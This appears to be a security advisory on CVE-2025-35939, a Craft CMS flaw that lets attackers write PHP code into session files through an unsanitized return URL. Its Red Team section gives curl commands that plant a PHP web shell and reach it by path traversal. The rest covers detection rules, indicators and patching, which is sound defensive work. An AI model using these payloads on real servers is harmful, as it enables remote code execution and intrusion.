CVE-2025-35939

Executive Summary

CVE-2025-35939 is a deserialization vulnerability in Craft CMS that allows an unauthenticated attacker to inject arbitrary PHP code into session files stored on the server. The vulnerability arises because Craft CMS stores the return URL from a client request without sanitizing parameters, and this unsanitized data is written to a session file at a known location (/var/lib/php/sessions/sess_[session_value]). An attacker can craft a malicious return URL containing PHP code, which is then stored in the session file. If the attacker can subsequently trigger the inclusion or execution of this session file (e.g., via a Local File Inclusion vulnerability), the injected PHP code will be executed on the server. The CVSS score is 5.3 (Medium), and patches are available in versions 5.7.5 and 4.15.3.

Supply Chain & Package Security

Craft CMS is a PHP-based content management system distributed via Composer. The vulnerability is in the core application logic, not in a third-party package. However, organizations using Craft CMS should verify their Composer dependencies and ensure they are running a patched version. The official patch is available through the Craft CMS update channel.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited information disclosure is possible.
• Integrity (I): Low (L) – Limited data modification is possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The vulnerability requires a secondary flaw (e.g., LFI) to achieve code execution, but the session file injection is trivial for an unauthenticated attacker.

Deep Dive & Mechanics

The vulnerability is rooted in how Craft CMS handles session creation for unauthenticated users. When a user requests a page that requires authentication, Craft CMS redirects them to the login page. During this process, it creates a session file on the server at /var/lib/php/sessions/sess_[session_value]. The [session_value] is a unique identifier provided to the client via a Set-Cookie header.

The critical flaw is in the storage of the return URL. Craft CMS takes the URL the user was trying to access (the return URL) and stores it in the session data without sanitizing the parameters. An attacker can craft a return URL that contains PHP code as a parameter value. For example:

https://target.com/admin?returnUrl=/login?test=<?php system($_GET['cmd']); ?>

When Craft CMS processes this request, it stores the entire return URL, including the PHP code, into the session file. The session file then contains:

returnUrl|s:...:"/login?test=<?php system($_GET['cmd']); ?>";

If the attacker can then exploit a separate vulnerability (e.g., a Local File Inclusion in a template or plugin) to include the session file, the PHP code will be executed. The session file path is predictable: /var/lib/php/sessions/sess_[session_value], where [session_value] is known from the Set-Cookie header.

Vulnerable vs. Patched Code

Vulnerable Code (Craft CMS < 5.7.5 / < 4.15.3):

In the vulnerable version, the return URL is stored directly without sanitization. The relevant code is in the UserSessionService or similar class:

// Vulnerable: No sanitization of return URL
$session->set('returnUrl', $request->getReturnUrl());

Patched Code (Craft CMS >= 5.7.5 / >= 4.15.3):

The patched version sanitizes the return URL by stripping or encoding dangerous characters:

// Patched: Sanitize the return URL
$returnUrl = $request->getReturnUrl();
$returnUrl = filter_var($returnUrl, FILTER_SANITIZE_URL);
$session->set('returnUrl', $returnUrl);

Additionally, the patch may include validation to ensure the return URL is a valid path and does not contain PHP code or other malicious content.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running Craft CMS < 5.7.5 or < 4.15.3.
• A secondary vulnerability (e.g., LFI) to include the session file.

Exploitation Steps:

1. Inject PHP code into a session file: Send a request to a protected page with a malicious return URL:

   curl -v 'http://target.com/admin?returnUrl=/login?test=<?php system($_GET['cmd']); ?>'
   

   Note the Set-Cookie header value (e.g., CraftSessionId=abc123).

2. Trigger the session file inclusion: Use an LFI vulnerability to include the session file:

   curl 'http://target.com/index.php?page=../../../../var/lib/php/sessions/sess_abc123&cmd=id'
   

Expected Result: The id command executes, and the output is displayed in the response.

Blue Team

Detection:

• Monitor for requests to protected pages with suspicious return URL parameters containing PHP code (e.g., <?php, system, exec).
• Alert on attempts to access session files via LFI (e.g., paths containing /var/lib/php/sessions/).

Mitigation:

• Apply the patch immediately.
• If patching is not possible, implement a WAF rule to block return URLs containing PHP code.
• Disable session file inclusion by hardening the application (e.g., disable allow_url_include in PHP).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /admin or other protected pages with returnUrl parameter containing PHP code.
  • Set-Cookie header with a CraftSessionId value.
  • Subsequent requests to LFI endpoints referencing /var/lib/php/sessions/sess_*.

• File System IOCs:

  • Session files at /var/lib/php/sessions/sess_* containing PHP code in the returnUrl value.

• Log IOCs:

  • Web server logs showing requests with <?php in the query string.
  • PHP error logs indicating failed session file inclusion attempts.

Detection Engineering

YARA Rule

rule CVE_2025_35939_Session_Injection {
    meta:
        description = "Detects PHP code injection in Craft CMS session files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-35939"
    strings:
        $php_code = /<\?php/
        $session_path = /\/var\/lib\/php\/sessions\/sess_/
    condition:
        $php_code and $session_path
}

Sigma Rule

title: Craft CMS Session File Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to inject PHP code into Craft CMS session files via return URL
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'returnUrl='
        cs-uri-query|contains: '<?php'
    condition: selection
falsepositives:
    - Legitimate use of PHP code in URLs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-35939 Craft CMS Session Injection Attempt"; flow:to_server; content:"returnUrl="; http_uri; content:"<?php"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade to Craft CMS 5.7.5 or 4.15.3.
2. Workaround: If patching is delayed, implement a WAF rule to block return URLs containing <?php or other PHP code.
3. Hardening: Ensure PHP allow_url_include is disabled and session files are stored in a non-web-accessible directory.
4. Monitoring: Enable logging for all requests to protected pages and monitor for suspicious return URL patterns.
5. Least Privilege: Run the web server with minimal permissions to prevent session file access from other applications.

Valters IT
DevSecOps & Cyber Threat Intelligence